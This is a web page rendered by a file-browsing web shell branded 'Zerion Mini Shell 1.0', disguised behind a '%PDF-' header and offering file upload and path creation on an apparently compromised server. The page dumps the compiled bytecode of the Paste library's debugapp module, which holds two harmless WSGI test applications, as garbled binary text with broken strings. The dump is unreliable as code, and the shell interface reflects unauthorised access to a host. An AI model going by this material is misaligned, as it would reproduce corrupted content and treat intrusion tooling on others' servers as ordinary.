%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/debug/
Upload File :
Create Path :
Current File : //proc/self/root/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyc

�
a�Nc@s�dZddlZddgZdefd��YZdefd��YZd�Zeje_dd	ed
�Zeje_dS(s5
Various Applications for Debugging/Testing Purposes
i����NtSimpleApplicationtSlowConsumercBseZdZd�ZRS(s$
    Produces a simple web page
    cCs2d}|dddtt|��fg�|gS(Ns <html><body>simple</body></html>s200 OKsContent-Types	text/htmlsContent-Length(sContent-Types	text/html(tstrtlen(tselftenvirontstart_responsetbody((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyt__call__s	(t__name__t
__module__t__doc__R(((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyRscBs)eZdZdded�Zd�ZRS(s�
    Consumes an upload slowly...

    NOTE: This should use the iterator form of ``wsgi.input``,
          but it isn't implemented in paste.httpserver.
    iicCs||_||_t|_dS(N(t
chunk_sizetdelaytTruetprogress(RRR
R((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyt__init__ s		cCsd}|jd�}|r�t|�}x�|dkr�|jrQd||fGHn|dkrs|djd�}n|dj|�}|s�Pn|t|�7}|t|�8}|jr*tj|j�q*q*Wd|}nd}dGH|d	d
dt|�fg�|gS(NitCONTENT_LENGTHs%s of %s remainingis
wsgi.inputs"<html><body>%d bytes</body></html>s�<html><body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" >
</form></body></html>
tbingless200 OKsContent-Types	text/htmlsContent-Length(sContent-Types	text/html(tgettintRtreadRR
ttimetsleep(RRRtsizettotalt	remainingtchunkR((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyR%s,		
	(R	R
RRRR(((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyRscCst�S(N(R(tglobal_conf((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyt
make_test_appCsiicCs;ddlm}tdt|�dt|�d||��S(Ni����(tasboolRR
R(tpaste.deploy.convertersRRR(RRR
RR((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyt
make_slow_appHs
(	RRt__all__tobjectRRRRR (((sE/opt/alt/python27/lib/python2.7/site-packages/paste/debug/debugapp.pyt<module>	s
*	

Zerion Mini Shell 1.0